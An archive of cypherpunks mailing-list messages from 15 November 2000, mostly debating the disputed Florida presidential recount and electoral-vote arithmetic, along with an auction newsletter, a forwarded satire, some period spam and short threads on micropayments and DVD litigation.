http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=343 Divers Agricultural Machinery The Boeing Company--------------------------------Philadelphia, PA, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=73 Band Saw & Vacuum Blast Shot Peen System The Boeing Company Military Aircraft & Missile Systems Group-----St. Louis, MO, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=174 New CNC Gantry Mill & Other Machine Tools Ultrafem-------------------------------------------------Missoula, MT, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=149 Packaging Equipment ===================================================== FEATURED ONLINE AUCTIONS Bid around the clock from the comfort of your office or home computer on these online auctions: Agilent Technologies------------------------------11/15/00, Online Auction http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=326 Electronic Test Equipment =================================================== DOVEBID IN THE NEWS "DoveBid Releases Results of Asian Auctions" By Demir Barlas, Line56.com, Oct 16, 2000 http://www.line56.com/articles/default.asp?NewsID=1524 In Depth: HotDot Internet Awards 2000 "Business to Business Dovebid: Teaching an old dog some new tricks" By Lizette Wilson, Bizjournals.com, Oct 20, 2000 http://www.bizjournals.com/sanfrancisco/stories/2000/10/23/focus7.html "CTO answers the call of the auction block" By Dan Neel, InfoWorld, Nov 6, 2000 http://www.dovebid.com/company/news/p_001106_fjinfowld.asp ============================================================= COMPANY PRESS RELEASES WiredCapital P3 Finance Platform™ to Integrate with Online Capital Asset Remarketing Services http://www.dovebid.com/company/news/pr_001010_wiredcapital.asp DoveBid Sells Capital Assets in Excess of $3.6 Million in First Asian Webcasts http://www.dovebid.com/company/news/pr_001016_capital.asp DoveBid Auctions off Biotech Intellectual Property Portfolio for Over $950,000 http://www.dovebid.com/company/news/pr_001025_lxr.asp DoveBid adds Ten Webcast Affiliates to Webcast Network http://www.dovebid.com/company/news/pr_001108_dwn.asp ============================================================= SPEAKING ENGAGEMENTS Ross Dove, DoveBid's CEO, will be speaking at the Line56Live! London Conference on the topic of "B2B Auctions - Buying and Selling" on December 5, 2000. ============================================================= FEEDBACK AND REMOVAL INSTRUCTIONS You have received this newsletter because you are a registered user at DoveBid. If you want to be removed from our distribution list, reply to this message with REMOVE in the subject heading. Please allow one week for your name to be removed from our distribution list. We want to make this newsletter useful for DoveBid registered users and welcome your feedback. Please send any comments to mailto:news at dovebid.com. Copyright DoveBid Inc., 2000. All rights reserved. From George at Orwellian.Org Wed Nov 15 01:12:35 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 15 Nov 2000 04:12:35 -0500 (EST) Subject: CDR: Florida Electorial defection threat! Message-ID: <200011150912.EAA11756@www9.aa.psiweb.com> A Florida Electoral delegate for Dubya, (an unknown number of electoral votes), is threatening to vote for Gore. Apparently she is free to do so. Her name is approximately Berta Morajelo, sounded Spanish or Cuban. Reported on MSNBC TV, who's WWW sucks rotten toads, so I don't visit it anymore. From info at rniureo17.com Wed Nov 15 02:53:55 2000 From: info at rniureo17.com (info at rniureo17.com) Date: Wed, 15 Nov 2000 05:53:55 -0500 Subject: CDR: Boost Your Windows Reliability!! Message-ID: <0l8p2o2.7wybr@mail24.numberonesales.net> Dear Windows User, Now you can boost the reliability of ordinary Windows 3.x, 95 and 98 to nearly the level of Windows NT or 2000, Microsoft's professional and industrial version of Windows. The new WinFix 4.3 is a very effective way to improve the reliability of Windows, because it makes Windows fault-tolerant and self-repairing. And WinFix is very safe, because it operates completely independent of Windows. http://www.rniureo17.com/comph to find out more about WinFix, the safest, most effective way to keep you working, by keeping your PC working non-stop. Arlen Dixon, CEO Westwood Software Marketing * * * * * * * * * * * * * * * * * This announcement is being sent to PC users who asked to be kept informed about new developments in Windows(tm) technology. To be removed from our mailing list, go to the Email-us page. OR To be removed mailto:remove at rniureo17.com?Subject=REMOVE From rah at shipwright.com Wed Nov 15 04:15:24 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 07:15:24 -0500 Subject: CDR: Earth (was ip: Soldiers test `Digital MP System') Message-ID: --- begin forwarded text From pjcjr at us.ibm.com Wed Nov 15 04:41:01 2000 From: pjcjr at us.ibm.com (Peter Capelli/Raleigh/Contr/IBM) Date: Wed, 15 Nov 2000 07:41:01 -0500 Subject: CDR: Re: A secure voting protocol Message-ID: >Also, the day-to-day business of running the government (The Commerce >Department today announced a comprehensive new study of blah...) will >happen no matter how controversial the election process is. > >-Declan Well, thank God for that! We wouldn't want the inner workings of a republic (such as a study to determine other uses for asparagus) to stop due to a minor dispute about the presidency, would we? -p "Those who would give up essential liberty for temporary safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 From George at Orwellian.Org Wed Nov 15 04:58:32 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 15 Nov 2000 07:58:32 -0500 (EST) Subject: CDR: Mayhem 2000: Pro-Bush Rebels Seize Power in West, DC in Flames Message-ID: <200011151258.HAA27896@www1.aa.psiweb.com> Heh-heh-heh: don't miss http://www.theonion.com/ during this fun time. NBS News reverses earlier report of Gore's death Florida recount reveals Nader defeated Serbia deploys peacekeeping forces to the U.S. Bush executes 253 New Mexico democrats Strom Thurmond Begins Preparing Cabinet Clinton declares self president for life ---- BTW, the mystery of how Bush poo-pooed the call for Gore was just reported on, on NBC TV. A cousin of Bush was the head of one of FoxNewsChannel's polling results desk, and was constantly on the phone with Jeb and Dubya. After that, Bush new before any networks announced it that Florida was going to be [network] called for Bush. I think someone said FoxNewsChannel called it first. ---- Seen elsewhere in Usenet... NOTICE OF REVOCATION OF INDEPENDENCE To the citizens of the United States of America, In the light of your failure to elect a President of the USA and thus to govern yourselves, we hereby give notice of the revocation of your independence, effective today. Her Sovereign Majesty Queen Elizabeth II will resume monarchical duties over all states, commonwealths and other territories. Except Utah, which she does not fancy. Your new prime minister (The rt. hon. Tony Blair, MP for the 97.85% of you who have until now been unaware that there is a world outside your borders) will appoint a minister for America without the need for further elections. Congress and the Senate will be disbanded. A questionnaire will be circulated next year to determine whether any of you noticed. To aid in the transition to a British Crown Dependency, the following rules are introduced with immediate effect: 1. You should look up "revocation" in the Oxford English Dictionary. Then look up "aluminium". Check the pronunciation guide. You will be amazed at just how wrongly you have been pronouncing it. Generally, you should raise your vocabulary to acceptable levels. Look up "vocabulary". Using the same twenty seven words interspersed with filler noises such as "like" and "you know" is an unacceptable and inefficient form of communication. Look up "interspersed". 2. There is no such thing as "US English". We will let Microsoft know on your behalf. 3. You should learn to distinguish the English and Australian accents. It really isn't that hard. 4. Hollywood will be required occasionally to cast English actors as the good guys. 5. You should relearn your original national anthem, "God Save The Queen", but only after fully carrying out task 1. We would not want you to get confused and give up half way through. 6. You should stop playing American "football". There is only one kind of football. What you refer to as American "football" is not a very good game. The 2.15% of you who are aware that there is a world outside your borders may have noticed that no one else plays "American" football. You will no longer be allowed to play it, and should instead play proper football. Initially, it would be best if you played with the girls. It is a difficult game. Those of you brave enough will, in time, be allowed to play rugby (which is similar to American "football", but does not involve stopping for a rest every twenty seconds or wearing full kevlar body armour like nancies). We are hoping to get together at least a US rugby sevens side by 2005. 7. You should declare war on Quebec and France, using nuclear weapons if they give you any merde. The 98.85% of you who were not aware that there is a world outside your borders should count yourselves lucky. The Russians have never been the bad guys. "Merde" is French for "sh*t". 8. July 4th is no longer a public holiday. November 8th will be a new national holiday, but only in England. It will be called "Indecisive Day". 9. All American cars are hereby banned. They are crap and it is for your own good. When we show you German cars, you will understand what we mean. 10. Please tell us who killed JFK. It's been driving us crazy. Thank you for your cooperation. From marketing22 at uole.com Wed Nov 15 05:21:12 2000 From: marketing22 at uole.com (marketing22 at uole.com) Date: Wed, 15 Nov 2000 08:21:12 -0500 Subject: CDR: KONLIN Letter Sets $4 - $5 Target On NU ELECTRIC (NRGE) 25404 Message-ID: <0000771d371b$00007b8e$0000633c@from gauifece.cc.net.ei ([256.45.30.4]) by rsi5s2.daidacentotera.chua.caimety.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAA11875 ([256.45.36.257]) > A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5169 bytes Desc: not available URL: From rah at shipwright.com Wed Nov 15 05:25:23 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 08:25:23 -0500 Subject: CDR: Felon Received 83 Drivers' Licenses from Cal DMV Message-ID: http://www.sacbee.com/news/calreport/calrep_story.cgi?N256.HTML -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From id-support at verisign.com Wed Nov 15 09:03:50 2000 From: id-support at verisign.com (VeriSign Customer Support Department) Date: Wed, 15 Nov 2000 09:03:50 -0800 (PST) Subject: CDR: Secure your E-mail with your Trial Digital ID Message-ID: <200011151714.JAA24279@toad.com> Dear VeriSign Digital ID Holder: Thank you for obtaining a 60-Day Trial Digital ID from VeriSign! With the recent introduction of secure e-mail capabilities in Netscape's Messenger (the e-mail application in Communicator) and several other popular e-mail packages, your Digital ID provides you with the ability to digitally encrypt and sign your messages to ensure security over the Internet. To learn more about using your Digital ID to secure your e-mail messages, please visit our Secure E-Mail Reference Guide at http://www.verisign.com/securemail/guide. This guide gives simple, step-by-step instructions on how to get started. Thanks again for choosing VeriSign! We look forward to serving your future electronic commerce and communications needs. VeriSign Customer Support Dept. ID-support at verisign.com From id-support at verisign.com Wed Nov 15 09:04:25 2000 From: id-support at verisign.com (VeriSign Customer Support Department) Date: Wed, 15 Nov 2000 09:04:25 -0800 (PST) Subject: CDR: Secure your E-mail with your Trial Digital ID Message-ID: <200011151714.JAA24278@toad.com> Dear VeriSign Digital ID Holder: Thank you for obtaining a 60-Day Trial Digital ID from VeriSign! With the recent introduction of secure e-mail capabilities in Netscape's Messenger (the e-mail application in Communicator) and several other popular e-mail packages, your Digital ID provides you with the ability to digitally encrypt and sign your messages to ensure security over the Internet. To learn more about using your Digital ID to secure your e-mail messages, please visit our Secure E-Mail Reference Guide at http://www.verisign.com/securemail/guide. This guide gives simple, step-by-step instructions on how to get started. Thanks again for choosing VeriSign! We look forward to serving your future electronic commerce and communications needs. VeriSign Customer Support Dept. ID-support at verisign.com From George at Orwellian.Org Wed Nov 15 06:34:45 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 15 Nov 2000 09:34:45 -0500 (EST) Subject: CDR: Florida situation keeps changing... Message-ID: <200011151434.JAA02173@www6.aa.psiweb.com> Let's see... A lawyer for Bush held a street corner news conference saying he's caught one of the Palm Beach County election officials dropping some questionable ballots into Gore's pile. Both the lawyer and the official share the name Carol, I think. The Florida Secy of State, (Bush FL co-campaign manager, $6.5 millionare, spent $100,000 of the state's money on trips to Brazil and such, made a get-out-the-vote ad with taxpayer money featuring Schwartzkopf), has filed with the FL Supreme Court to consolidate all possible lawsuits and asks that the counties be told to stop recounts. Basically, to take over decisions. Odd, given that they're heavily Democratic. (appointed, at least) I guess Bush plans on going to the U.S. Supreme Court. Palm Beach County election officials haven't started a recount. They are discussing changing the "chad" rules so that even an indentation (without a corner of the chad detached) can be ruled as a choice. Apparently there were a significant number of party-line votes for every (one party) office except for president, and many were indented for president. Hey, maybe the card was stiff there. Someone had statistics showing few people vote for every office but president. I still can't imagine using these sort of cards at all, since I remember as an operator I would riffle Hollerith cards a few times before putting them in the hopper, to avoid jams. I wonder if there's an official procedure for the operator to riffle in consideration of the detachable chads. And, oh yeah, the U.S.P.S. announced they've sped up delivery of any absentee ballots. From bill.stewart at pobox.com Wed Nov 15 09:39:32 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 15 Nov 2000 09:39:32 -0800 Subject: CDR: RE: Florida Electorial defection threat! In-Reply-To: Message-ID: <3.0.5.32.20001115093932.009c3800@idiom.com> At 09:58 AM 11/15/00 -0500, Trei, Peter wrote: >It would take at least two faithless electors to >swing the election to Gore. One would make it >a dead heat, and send the decision to Congress. That's one reason that Bush has been working on overturning election results in other states. Gore would not only have to win Oregon, which he probably has, but not lose any of the other states he's won - anywhere else would require a lot more defections. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ptrei at rsasecurity.com Wed Nov 15 06:58:09 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 15 Nov 2000 09:58:09 -0500 Subject: CDR: RE: Florida Electorial defection threat! Message-ID: If you go back to the thread I started last week 'A strange election scenario', you'll find that I raised this possibility the day after the election. It would take at least two faithless electors to swing the election to Gore. One would make it a dead heat, and send the decision to Congress. [It's been pointed out that Bush's lead in Florida is less than the margin of error of the various counting methods. For all rational purposes, the election there is a tie. But elections are not a rational process, and must arrive at single anointed winner. A coin flip would be as fair as the various machinations underway.] Peter > ---------- > From: George at Orwellian.Org[SMTP:George at Orwellian.Org] > Reply To: George at Orwellian.Org > Sent: Wednesday, November 15, 2000 4:12 AM > To: cypherpunks at cyberpass.net > Subject: Florida Electorial defection threat! > > A Florida Electoral delegate for Dubya, (an unknown > number of electoral votes), is threatening to vote > for Gore. Apparently she is free to do so. > > Her name is approximately Berta Morajelo, sounded > Spanish or Cuban. Reported on MSNBC TV, who's WWW > sucks rotten toads, so I don't visit it anymore. > From tcmay at got.net Wed Nov 15 10:06:53 2000 From: tcmay at got.net (Tim May) Date: Wed, 15 Nov 2000 10:06:53 -0800 Subject: CDR: Lawyers leading in Florida! Message-ID: I can no longer keep count of how many lawsuits and other actions are now in the courts in various counties in Florida and heading for the State Supreme Court. At least a dozen, though some are being consolidated. More have been added, so the overall count will likely go up. There is not even any point in my trying to summarize what the various camps are arguing about...pregnant chads, due process, dimpled chads, explanations of why recounts are required, hanging chads, voter fraud, Carol Roberts switching ballots, swinging door chads, constitutionality of recounts, rights of African-Americans, sunlight tests, butterfly ballots, legality of absentee ballots arriving late, chads, and indented pregnant dimpled chads. While there were past close elections, and even elections where fraud probably gave the election to the loser, this looks to be a curiously modern election: the same lawyers who got O.J. off will get Gore into the White House. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From George at Orwellian.Org Wed Nov 15 07:25:53 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 15 Nov 2000 10:25:53 -0500 (EST) Subject: CDR: RE: Florida Electoral defection threat! Message-ID: <200011151525.KAA28248@www3.aa.psiweb.com> "Trei, Peter" wrote: # # It would take at least two faithless electors to # swing the election to Gore. One would make it # a dead heat, and send the decision to Congress. Ping pong, ping pong. Isn't a switch of one vote a difference of two in the total? Wait, that's wrong. As long as the majority of the electoral college votes, the winner is the one with the majority of that. 270 would still be a winner for Bush. Are the rest of the states lining up for a 270-270 tie??? From honig at sprynet.com Wed Nov 15 07:47:18 2000 From: honig at sprynet.com (David Honig) Date: Wed, 15 Nov 2000 10:47:18 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <20001114233632.B12297@cluebot.com> References: <555fe47eb062b8bead7f99a2b683a0b7@remailer.privacy.at> Message-ID: <3.0.6.32.20001115073419.0084a100@pop.sprynet.com> At 11:14 PM 11/14/00 -0500, Declan McCullagh wrote: >Yes and no. If the Dems stop trying to prolong this, we could have a >resolution tomorrow (or Saturday). True, it might tarnish a >presidency, but all it takes is one crisis, manufactured or not, to >rally the country behind the leader. Heh, you think Osama's gonna be looking in the skies a bit more often after Floriduh is resolved? From honig at sprynet.com Wed Nov 15 07:54:23 2000 From: honig at sprynet.com (David Honig) Date: Wed, 15 Nov 2000 10:54:23 -0500 Subject: CDR: Re: Florida situation keeps changing... In-Reply-To: <200011151434.JAA02173@www6.aa.psiweb.com> Message-ID: <3.0.6.32.20001115075132.0084cc50@pop.sprynet.com> At 09:35 AM 11/15/00 -0500, George at Orwellian.Org wrote: >Palm Beach County election officials haven't started a recount. >They are discussing changing the "chad" rules so that even >an indentation (without a corner of the chad detached) can >be ruled as a choice. This is idiotic ---one can expect the voter to have noticed, and whereas a hanging-chad might have passed casual, one-sided inspection, a fully occluding chad can't. Additionally you don't have to be Uri Geller (or the more honest Penn & Teller) to stealthily indent a blank chad while counting. From ptrei at rsasecurity.com Wed Nov 15 08:16:38 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 15 Nov 2000 11:16:38 -0500 Subject: CDR: RE: Florida Electoral defection threat! Message-ID: > George at orwellian.org[SMTP:George at orwellian.org] wrote: > > "Trei, Peter" wrote: > # > # It would take at least two faithless electors to > # swing the election to Gore. One would make it > # a dead heat, and send the decision to Congress. > > Ping pong, ping pong. > > Isn't a switch of one vote a difference of two in the total? > > Wait, that's wrong. > > As long as the majority of the electoral college > votes, the winner is the one with the majority of > that. 270 would still be a winner for Bush. > > Are the rest of the states lining up for a 270-270 tie??? > -------------------- Do the numbers: The electoral college standings are currently: Bush: 246 Gore: 255 Undecided states: Florida 25 New Mexico 5 Oregon 7 Total 538 If Bush gets Florida, but not OR & NM, he gets 270 votes, and Gore gets 268. One Bush elector defecting puts both at 269, a dead heat. Peter Trei From k.brown at ccs.bbk.ac.uk Wed Nov 15 03:26:29 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 15 Nov 2000 11:26:29 +0000 Subject: CDR: Re: A secure voting protocol References: Message-ID: <3A1272E5.AF260D55@ccs.bbk.ac.uk> "Trei, Peter" wrote: > > > From: Anonymous[SMTP:nobody at remailer.privacy.at] > > Peter Trei wrote: > > > > > I can state from personal experience that Silver Nitrate solution will > > > produce stains on skin which gradually blacken in the light, and > > > don't come off till your skin wears off. > > > > But what happens when it is applied to Lakeesha Aswamba's finger? Would > > the staining be visible? > > > I'll ignore the possibility that there is a racist implication behind > this.... > > Who said it had to be black, or be Silver Nitrate? The example I saw > used a purple dye. If you actually knew any blacks (I'm using that > word instead of the currently PC 'African-American' because it's skin > color that's under discussion, and the discussion applies to people > outside the US as well), you'd know that the palmar side of the hand > and fingers are much lighter than the back. I was living in Kenya during a general election there about 20 years ago. (I could have voted but chose not to, so Daniel Arap Moi got in without any help from me :-) If I remember correctly there was some sort of dye used. The general atmosphere of that election was, of course, very different from a British one (I've never been in the US at election time). The police, who were supervising things, get a lot less respect and a lot more fear than ours do. And the voters were (in the district I lived in) almost all poor farmers who would be very unlikely to sue, or even complain loudly, at any apparent misbehaviour from a government official. No doubt if you tried the same trick in the US someone would claim that the dye was carcinogenic, or that the blotchy colour had caused them to look bad at an interview & lose the job or something. > Also, if you want to get high tech, use a fluorescent dye mixed > with DMSO. It'll penetrate deep into the skin, and be visible under > UV (no cosmetic objections). I suspect it'd take weeks to wear off. Doesn't have to be "high-tech", ordinary Indian ink would do (IIRC that is just a fine suspension of carbon in water & a little alcohol?). Anything that glows in the dark will lead to accusations about cancer. And yes, if there are any white supremacist tunnel-rats reading this from a secret sheep farm somewhere in Idaho, black dye does show up on African skin, even on the back of the hand. I can't think of anyone I know or meet regularly whose skin is actually black in colour. Ken From honig at sprynet.com Wed Nov 15 08:37:02 2000 From: honig at sprynet.com (David Honig) Date: Wed, 15 Nov 2000 11:37:02 -0500 Subject: CDR: micro-ecash, stored value, EDA tool licensing Message-ID: <3.0.6.32.20001115083427.0084e640@pop.sprynet.com> There's an article in EETimes 6 Nov 2000 p 160 about EDA providers who let you download tools, then pay for them by the hour. This differs from ASPs who run the apps on their machines (thereby exposing your secret designs). The interesting thing is that many tools run $5/hour, (e.g., for a $10K-$25K per seat app) and are billable in .01 second quanta. That's about a tenth of a penny. The license-server is filled with stored value (e.g., from a credit card, they'd probably take more anonymous transfers) and can run for a while without talking to the server. Interesting bizmodel and good example of crypto enabling commerce. [Though not really privacy ---you're still trusting the tool provider not to have hacked the tools to send your designs home..] "e*ECAD" is the company FWIW. No affiliation. From honig at sprynet.com Wed Nov 15 08:37:02 2000 From: honig at sprynet.com (David Honig) Date: Wed, 15 Nov 2000 11:37:02 -0500 Subject: micro-ecash, stored value, EDA tool licensing Message-ID: There's an article in EETimes 6 Nov 2000 p 160 about EDA providers who let you download tools, then pay for them by the hour. This differs from ASPs who run the apps on their machines (thereby exposing your secret designs). The interesting thing is that many tools run $5/hour, (e.g., for a $10K-$25K per seat app) and are billable in .01 second quanta. That's about a tenth of a penny. The license-server is filled with stored value (e.g., from a credit card, they'd probably take more anonymous transfers) and can run for a while without talking to the server. Interesting bizmodel and good example of crypto enabling commerce. [Though not really privacy ---you're still trusting the tool provider not to have hacked the tools to send your designs home..] "e*ECAD" is the company FWIW. No affiliation. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' -- BEZP#ATNE konto e-mail o adresie ty at poland.com i NIELIMITOWANEJ pojemno6ci Tylko w POLAND.COM ! www.poland.com From steve at tightrope.demon.co.uk Wed Nov 15 03:37:43 2000 From: steve at tightrope.demon.co.uk (Steve Mynott) Date: Wed, 15 Nov 2000 11:37:43 +0000 Subject: CDR: Re: Close Elections and Causality In-Reply-To: ; from petro@bounty.org on Tue, Nov 14, 2000 at 01:00:02PM -0800 References: <3A111201.CCF6E598@ccs.bbk.ac.uk> Message-ID: <20001115113742.A13173@tightrope.demon.co.uk> On Tue, Nov 14, 2000 at 01:00:02PM -0800, petro wrote: > The impression that I get is that in Merry Old England, > voting is done by county, whereas in this country voting is done by > district. You are quite wrong. > For the benefit of those not familiar with the American system: > > States (obviously) and counties have fixed boundaries, while > voting districts are redrawn every 10 or so years to attempt to keep > the population of each district relatively equivalent in population. > At least that's the theory. What really happens is that since those > in Power draw the lines, they attempt to draw the boundaries such > that they maintain or gain power. What you describe is the same as the system used in the UK. The system is now changing as the countries which make up the UK now have their own parliaments (of currently limited power). The stupidity of the current UK system is that Scottish MPs can vote on issues that influence the English, but English MPs can't vote on Scottish affairs. And if the left get their way the English will end up being ruled by the socialist super state that is the European Union. -- 1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk i'm gonna climb on the mountains of the moon and find the distant man waving his spoon From k.brown at ccs.bbk.ac.uk Wed Nov 15 03:40:22 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 15 Nov 2000 11:40:22 +0000 Subject: CDR: Latest cryptome References: <4.3.0.20001111125222.00b16f00@mail.well.com> Message-ID: <3A127626.918BC4EA@ccs.bbk.ac.uk> John Young exposes a fascinating bit of regulatory arbitrage at: http://cryptome.org/dvd-v-fawkus.htm A Japanese company suing a Scotsman in California, for acts allegedly committed in Scotland. As the alleged fault consists of possessing software to read DVDs I don't think very many cypherpunks will sympathise with the plaintiffs. But it is interesting that they claim that they have jurisdiction over people in Scotland where AFAIK there is no criminal or civil law against copying DVDs. I'm not completely sure about that - over here in centralised, obedient, non-paranoid Britain, Scottish law is utterly different from English & some things are illegal in one country that are allowed in the other. FOr example in Scotland children can sue their parents for maintenance up to the age of 25 - now that *is* weird. Of course this is not the only high-profile case of regulatory arbitrage involving Scottish law at the moment. There are those Libyans accused of bombing the 'plane the blew up over Scotland who are being tried by a Scottish court in the Netherlands, the place having been temporarily re-classified as UK territory - they almost certainly could have been tried in the US or a number of other places as well. Maybe the California courts should take over supervision of Florida elections next? Ken From rah at shipwright.com Wed Nov 15 09:01:47 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 12:01:47 -0500 Subject: CDR: CBS De-Legitimizes the Florida Absentees Message-ID: I just heard a CBS "Eye-on-America" spot doing an indignant "who *are* these absentee voters, anyway" take. We've been always at war with Oceania. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From rah at shipwright.com Wed Nov 15 09:08:40 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 12:08:40 -0500 Subject: CDR: micro-ecash, stored value, EDA tool licensing Message-ID: --- begin forwarded text From frissell at panix.com Wed Nov 15 09:24:33 2000 From: frissell at panix.com (Duncan Frissell) Date: Wed, 15 Nov 2000 12:24:33 -0500 Subject: CDR: Enhanced Taxpatriate's Page Message-ID: <5.0.0.25.0.20001115121814.029ef580@popserver.panix.com> The original Official Taxpatriates Page just keeps getting better. I've cleaned up some of the text and added a JFile database of Taxpatriates for those who use JFile on Palm devices. Here it is: http://www.frissell.com/taxpat/taxpats.pdb As always, the Official Taxpatriates Page can be found at: http://www.frissell.com/taxpat/taxpats.html For those who track such things, 3008 names have appeared on the "List of Shame" since its debut in the 4th quarter of 1996. DCF ---- Nine U.S. states have no general tax on wages and salaries: Alaska, Florida, Nevada, New Hampshire, South Dakota, Tennessee, Texas, Washington, and Wyoming From declan at well.com Wed Nov 15 09:30:04 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 15 Nov 2000 12:30:04 -0500 Subject: CDR: Re: Florida Electorial defection threat! In-Reply-To: <200011150912.EAA11756@www9.aa.psiweb.com>; from George@orwellian.org on Wed, Nov 15, 2000 at 04:12:35AM -0500 References: <200011150912.EAA11756@www9.aa.psiweb.com> Message-ID: <20001115123004.A19939@cluebot.com> The story is cited on perpetualelection.com. --Declan On Wed, Nov 15, 2000 at 04:12:35AM -0500, George at orwellian.org wrote: > A Florida Electoral delegate for Dubya, (an unknown > number of electoral votes), is threatening to vote > for Gore. Apparently she is free to do so. > > Her name is approximately Berta Morajelo, sounded > Spanish or Cuban. Reported on MSNBC TV, who's WWW > sucks rotten toads, so I don't visit it anymore. > From rah at shipwright.com Wed Nov 15 09:30:14 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 12:30:14 -0500 Subject: CDR: Re: micro-ecash, stored value, EDA tool licensing In-Reply-To: References: Message-ID: At 12:08 PM -0500 on 11/15/00, R. A. Hettinga wrote: > --- begin forwarded text > > > Date: Wed, 15 Nov 2000 11:37:02 -0500 > Originator: cypherpunks at openpgp.net > X-Loop: openpgp.net > From: David Honig > Subject: micro-ecash, stored value, EDA tool licensing > Sender: owner-cypherpunks at cyberpass.net > Reply-To: David Honig Very strange. I sent this somewhere else, and an intervening smtp machine read both the mail header in the message itself and the one inside the forwarded bits. Sorry, anyway, folks. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Wed Nov 15 09:37:58 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 15 Nov 2000 12:37:58 -0500 Subject: CDR: Re: Florida Electoral defection threat! In-Reply-To: ; from ptrei@rsasecurity.com on Wed, Nov 15, 2000 at 11:16:38AM -0500 References: Message-ID: <20001115123758.B19939@cluebot.com> No, if Bush won Florida but not Utah, he'd have 246+25=271, not 270 e.v. If one elector defected, Bush would win, if two electors defected, Bush would win (in House), if three electors defected, Gore would win. -Declan On Wed, Nov 15, 2000 at 11:16:38AM -0500, Trei, Peter wrote: > Do the numbers: > > The electoral college standings are currently: > > Bush: 246 > Gore: 255 > > Undecided states: > Florida 25 > New Mexico 5 > Oregon 7 > > Total 538 > > If Bush gets Florida, but not OR & NM, he gets 270 votes, > and Gore gets 268. > > One Bush elector defecting puts both at 269, a dead heat. > > Peter Trei > > > > From ellie900 at usa.com Wed Nov 15 12:39:15 2000 From: ellie900 at usa.com (ellie900 at usa.com) Date: Wed, 15 Nov 2000 12:39:15 -0800 (PST) Subject: CDR: Fwd: First Site Message-ID: <200011152039.MAA10359@toad.com> THE NEW LINK FOR OUR SITE. SORRY FOR ANY TROUBLE YOU MAY HAVE HAD WITH THE OLD LINK. THIS ONE HAS ALL THE CORRECTIONS http://3638141293/36/1059436/legal.html From ptrei at rsasecurity.com Wed Nov 15 09:45:31 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 15 Nov 2000 12:45:31 -0500 Subject: CDR: RE: Florida Electoral defection threat! Message-ID: You're correct on the 271, but I'm *sure* you didn't mean to type 'Utah'. Ok, two faithless electors would throw it to the house, and three would make it Gore, as I said on the 8th. Peter > ---------- > From: Declan McCullagh[SMTP:declan at well.com] > Sent: Wednesday, November 15, 2000 12:37 PM > To: Trei, Peter > Cc: cypherpunks at cyberpass.net; 'George at orwellian.org' > Subject: Re: Florida Electoral defection threat! > > No, if Bush won Florida but not Utah, he'd have > 246+25=271, not 270 e.v. > > If one elector defected, Bush would win, if two electors defected, > Bush would win (in House), if three electors defected, Gore would win. > > -Declan > > On Wed, Nov 15, 2000 at 11:16:38AM -0500, Trei, Peter wrote: > > Do the numbers: > > > > The electoral college standings are currently: > > > > Bush: 246 > > Gore: 255 > > > > Undecided states: > > Florida 25 > > New Mexico 5 > > Oregon 7 > > > > Total 538 > > > > If Bush gets Florida, but not OR & NM, he gets 270 votes, > > and Gore gets 268. > > > > One Bush elector defecting puts both at 269, a dead heat. > > > > Peter Trei > > > > > > > > > From declan at well.com Wed Nov 15 09:48:40 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 15 Nov 2000 12:48:40 -0500 Subject: CDR: RE: Florida Electoral defection threat! In-Reply-To: Message-ID: <4.3.0.20001115124740.01560250@mail.well.com> Whoops. You're right: I meant to type "Oregon." If it went to the House, it would be a ~25-19 vote for Bush, per my Wired article on Sat. --Declan At 12:45 11/15/2000 -0500, Trei, Peter wrote: >You're correct on the 271, but I'm *sure* you didn't mean to >type 'Utah'. > >Ok, two faithless electors would throw it to the house, and >three would make it Gore, as 